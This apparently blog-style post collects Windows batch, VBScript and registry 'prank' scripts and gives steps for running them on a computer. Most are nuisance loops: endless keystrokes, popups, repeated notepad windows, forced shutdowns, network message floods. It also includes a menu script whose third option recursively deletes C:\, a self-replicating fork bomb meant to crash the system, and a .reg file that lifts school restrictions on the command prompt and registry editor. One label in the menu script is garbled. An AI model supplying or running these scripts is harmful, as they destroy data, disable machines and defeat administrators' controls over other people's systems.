Basics Of .bat file Pranks

Hi, Folks, here are few .bat file pranks from good old DOS days they are still very funny. Here is how to make them work.

1. Open Notepad
2. Copy-paste the code you want
3. Select Save As then type the name of file ending with “.bat” (this is important)
4. Double click to run in windows / type name of file to run on command prompt.
5. Don’t blame me if you blow up your PC :p kidding….

This batch file would begin to shutdown your computer then cancel it, then pop up the message and exit. Harmless

shutdown -s
pause
shutdown -a
pause
msg * wasn't that scary?!
exit

This batch file would pop up a message then shutdown your computer

@echo off
msg * I don't like you
shutdown -c "error! you are too stupid!" -s

This vbs script would continually open up notepad!

WScript.Sleep 10
WScript.Sleep 10
Set WshShell = WScript.CreateObject("WScript.Shell")
do
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "notepad"
loop

This vbs script would make Caps Lock go on and off repeating!

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

This vbs script would continually pop out your CD Drive. If you have more than one, it pops out all of them!

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

This vbs script acts like you are continually hitting enter. files will open and everything! It is nearly impossible to get to task manager and stop it!

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

This vbs script opens notepad, then slowly types “Hello, how are you? I am good thanks!” as if someone is watching you!

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
WScript.Sleep 500
WshShell.SendKeys " to"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "xi"
WScript.Sleep 500
WshShell.SendKeys " bo"
WScript.Sleep 500
WshShell.SendKeys ".c"
WScript.Sleep 500
WshShell.SendKeys "com... "

This is a vbs script that pops up a message then acts like you are continually hitting backspace

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

VBS script that keeps typing “you are a fool!”

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save this as .reg file that enables command prompt and registry editor! Great for schools!

REGEDIT4
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesWinOldApp]
“Disabled”=dword:0
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem]
“DisableRegistryTools”=dword:0

This batch file that opens up notepads continually

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


This Batch file cycles messages over and over…

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

This Batch file that net sends I like cheese to your entire network! Be careful because it doesn’t stop until you x out of command prompt and it also displays who it comes from. To solve this, just get the net send file from exit-reality.net

@ECHO off
:Begin
net send * I like cheese!
GOTO begin

This is my favorite of the whole lot. let’s call it poison batch file. It asks you to choose a number 1-5 then does a certain action:
1: shutdown
2: restart
3: wipes out your hard drive (BEWARE)
4: net send
5: messages then shutdown

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. Deal with it or just x out now. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. die this way (wimp)
echo 2. die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. die this way (you're boring)
echo 5. easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
if %input%==3 goto three
if %input%==4 goto four
if %input%==5 goto five
goto menu
ne
shutdown -s -c there are three ways to stop me!
goto end
:two
shutdown -r
goto end
:three
echo your computer is dead....
pause
rmdir /S /Q C:\
goto end
:four
net send * you suck
goto four
:five
msg * you win! you get a cookie!
msg * go to www.legit.dk to see your prize!
pause
shutdown -f
:end

These are three different forms of the shutdown command. -r is restart, -s is 30 sec countdown, -f is forced.

shutdown -r

shutdown -s

shutdown -f

This is called fork bombing….make sure to name this batch file batch.bat

When a process forks, it creates an independent copy of itself. By forking something indefinitely, and having the forks fork… you tie-up all the CPU power and RAM of a system. This will almost always crash a Windows computer. The following is a Windows Fork Bomb:
This will create copies of itself forever, and it will never stop.

@ECHO OFF
:START
START batch.bat
GOTO START

I hope you will enjoy these .bat file pranks. Make sure you don’t harm anyone’s crucial data. Losing data is not funny as you will learn over the years

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